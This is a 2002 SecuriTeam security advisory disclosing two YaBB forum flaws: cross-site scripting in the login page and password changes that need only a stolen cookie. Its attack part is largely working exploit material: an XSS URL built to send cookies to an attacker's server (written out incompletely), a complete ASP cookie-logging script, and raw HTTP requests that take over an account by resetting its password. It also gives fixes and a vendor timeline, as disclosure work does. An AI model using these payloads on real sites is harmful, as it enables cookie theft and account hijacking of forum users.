

[UNIX] YaBB Security Vulnerabilities (CSS in Login, Insecure Password Handling)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-10/0097.html>

From: support@securiteam.com

Date: 10/21/02

From: support@securiteam.com

To: list@securiteam.com

Date: 21 Oct 2002 22:14:36 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

YaBB Security Vulnerabilities (CSS in Login, Insecure Password Handling)

SUMMARY

YaBB is a leading provider of free, downloadable PHP forums for webmasters. Two security vulnerabilities in the product allow a remote attacker to steal user's cookies, hijacking user's accounts, and more. The issues discussed are:

1. Cross Site Scripting Vulnerability in the login procedure
2. Unsecured changing profile method

DETAILS

Vulnerable systems:

- * YaBB version 1.4.0 and 1.4.1

1. Cross Site Scripting Vulnerability in the login procedure

If we log into YaBB forums and enter invalid username/password, the forum displays the username and the password we entered, and it doesn't strip HTML tags from the password field – this allows us to write malicious HTML and JavaScript into the page.

Using this method, stealing the username cookie is easy. This method causes a CSS attack on the target site, forcing it to send the cookie to an .asp file we have created. This can be done by this statement:

[http://example.com/forums/index.php?](http://example.com/forums/index.php?board=;action=login2&user=USERNAME&cookielength=120&passwd=PASSWORD<scr!pt>window.location.href)

board=;action=login2&user=USERNAME&cookielength=120&passwd=PASSWORD<scr!pt>window.location.href(

Sending the above URL to someone may look suspicious, but we can build a site that will have an invisible frame to that URL, which is a lot more dangerous.

NOTE: YaBB does not allow us to use "=" or "%3d", therefore we have to catch the cookie without a request("data") statement in the asp file, since we cannot put "data=" in the URL.

To build the hack.asp file, to log the cookie we are posting, create a file the looks like:

----- hack.asp

```
<%
Option Explicit

Const ForWriting = 2
Const ForAppending = 8
Const Create = True

Dim MyFile
Dim FSO ' FileSystemObject
Dim TSO ' TextStreamObject
Dim Str
Str = Request.ServerVariables("QUERY_STRING")

MyFile = Server.MapPath("./db/log.txt")

Set FSO =
Server.CreateObject("Scripting.FileSystemObject")
Set TSO = FSO.OpenTextFile(MyFile, ForAppending,
Create)

if (Str <> "") then TSO.WriteLine Str

TSO.close
Set TSO = Nothing
Set FSO = Nothing
%>
<HTML>
<BODY>
You have just been hacked.
</BODY>
</HTML>
----- EOF
-----
```

This file writes the Request.ServerVariables("QUERY_STRING"), which is the whole path we are posting after the "?", into a log file.

2. Unsecured changing profile method

YaBB has a form to change user's details. The original password is not required when changing the password to a new one, meaning that if an attacker has someone else's cookie, he can change his password.

– Definitions:

USERNAME – The username

USERNAME COOKIE– The username cookie.

– YaBB Cookie Architecture:

The cookie's format of YaBB is:

Cookie: YaBBusername=<USERNAME>;

YaBBpassword=ys6bPWmp44PXA;

expiretime=1034304354

After the attacker has the cookie, he can use the cookie to change the user password. He can use the cookie even if the expiretime has passed by changing the cookie to the following:

Cookie: YaBBusername=<USERNAME>;

YaBBpassword=ys6bPWmp44PXA;

expiretime=9999999999

This will always work.

– Exploiting the server and changing to a new password:

First of all, if the attacker only wants to change the password and not the user details, he will have to get them from the server database and only then he will build his POST request that will change the user's password. To do that, he also has to include the stolen cookie.

To find out the user details, he will send this request to the server:

```
-----  
GET /forums/index.php?board=;action=profile;user=<USERNAME>  
HTTP/1.0  
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,  
application/vnd.ms-powerpoint, application/vnd.ms-excel,  
application/msword, */*  
Accept-Language: en-us  
Cookie: <USERNAME COOKIE>  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)  
Host: www.victim.com  
Proxy-Connection: Keep-Alive  
-----
```

Then the server will return a form with the <USERNAME> details, and allow attacker to change it. Note that the form doesn't ask the user to enter his previous password, and it doesn't check anything but the username and his cookie to see if it is the legitimate user. Now attacker is ready to build his main POST request to change the user's password

Securiteam: [UNIX] YaBB Security Vulnerabilities (CSS in Login, Insecure Password Handling)

The POST request will look like this:

```
-----  
POST /forums/index.php?board=;action=profile2 HTTP/1.1  
Accept: application/vnd.ms-powerpoint, application/vnd.ms-excel,  
application/msword, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,  
*/  
Accept-Language: en-us  
Content-Type: application/x-www-form-urlencoded  
Accept-Encoding: gzip, deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; TUCOWS;  
YComp 5.0.0.0)  
Host: www.victim.com  
Content-Length: 286  
Proxy-Connection: Keep-Alive  
Pragma: no-cache  
Cookie: <USERNAME COOKIE>  
  
userID=666&user=&passwr1=HaCkEd&passwr2=HaCkEd&name=  
&email=victim@hotmail.com&gender=&bday1=00&bday2=00&bday3=0000&location=  
&websitetitle=&websiteurl=&icq=3 &aim=&msn=&yim=&usertext=&hideemail=on&  
usertimeformat=&usertimeoffset=0&signature=  
&secretQuestion=&secretAnswer=&moda=1  
-----
```

All the details that the attacker set are values taken from the form he got when he sent the GET request first (note that userID is a hidden value). You can see the "passwr1" and "passwr2" parameters that attacker send to the server. After sending the above POST request, the user's password will be changed to "HaCkEd".

Possible solution:

For the CSS Problem, YaBB should not show the invalid username/password, or at least strip HTML tags from the password field

For the password changing problem:

1. YaBB can save the IP of each user, and check the IP when someone asks to change his password (still not unbreakable, but much harder to exploit).
2. YaBB can ask the user to enter also the previous password before changing it to new one. In that way the attacker won't be able to break the forum protection by having only the user's cookie.

Vendor status:

- 10.10: First contact with the vendor about the first security issue.
- 11.10–16.10: Talking with the vendor. Vendor didn't take this seriously.
- 18.10: Second contact about the second security issue.
- 18.10: Vendor didn't take this issue seriously either.

ADDITIONAL INFORMATION

Securiteam: [UNIX] YaBB Security Vulnerabilities (CSS in Login, Insecure Password Handling)

The information has been provided by <mailto:niradar@yahoo.com> Nir Adar and <mailto:assaf@fullscreen.co.il> Assaf Reshef.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[NEWS] Ambiguities in TCP/IP May Allow Firewall Bypassing"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)